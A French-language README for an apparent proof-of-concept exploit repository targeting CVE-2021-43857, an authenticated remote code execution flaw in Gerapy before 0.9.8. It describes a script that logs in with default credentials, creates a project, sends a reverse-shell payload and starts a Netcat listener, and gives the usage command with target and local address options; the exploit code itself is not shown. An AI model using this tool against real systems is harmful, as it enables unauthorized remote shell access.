Gerapy CVE-2021-43857 (RCE authentifié)

Ce dépôt contient une preuve de concept d'exploit pour CVE-2021-43857,
une vulnérabilité d'exécution de code à distance affectant Gerapy < 0.9.8.

Ceci est une version mise à jour de la preuve de concept originale d'Exploit-DB,
avec des corrections de bugs et une automatisation pour faciliter la reproduction dans des environnements de test autorisés.

⚠️ Avertissement :
Ce code est publié uniquement à des fins éducatives et de tests de pénétration autorisés.
Ne l'utilisez pas contre des systèmes sans autorisation explicite.
L'auteur décline toute responsabilité en cas d'utilisation abusive.

Fonctionnalités

• Automatise la connexion avec les identifiants par défaut
• Crée automatiquement un projet (si nécessaire)
• Envoie une charge utile de reverse shell
• Démarre automatiquement un écouteur Netcat

Utilisation

python3 exploit.py -t <IP_CIBLE> -p <PORT_CIBLE> -L <IP_LOCALE> -P <PORT_LOCAL>

Prérequis

1. Python 3.x
2. requests et pyfiglet (pip install requests pyfiglet)